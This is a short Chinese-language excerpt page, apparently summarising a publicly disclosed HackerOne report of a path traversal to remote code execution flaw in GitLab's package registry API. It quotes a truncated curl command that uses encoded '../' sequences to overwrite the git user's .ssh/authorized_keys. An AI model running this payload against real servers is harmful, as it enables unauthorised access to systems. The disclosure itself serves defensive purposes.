Path traversal, to RCE
该报告还没有中文解读。
原文摘录
摘自原文（2731 字符中的一小部分）
Summary This one is similar to #732330 but much simpler. A path traversal issue in GitLab package registry API allow an attacker to write any file at any location writable to user git in a GitLab server.
原文中的代码
curl -H "Private-Token: $(cat token)" http://10.26.0.5/api/v4/projects/2/packages/maven/a%2fb%2fc%2fd%2fe%2ff%2fg%2fh%2fi%2f1/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.ssh%2fauthorized_keys -XPUT --path-as-is --data-binary …
默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 GitLab 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @saltyyolk · 版权归作者与 GitLab 所有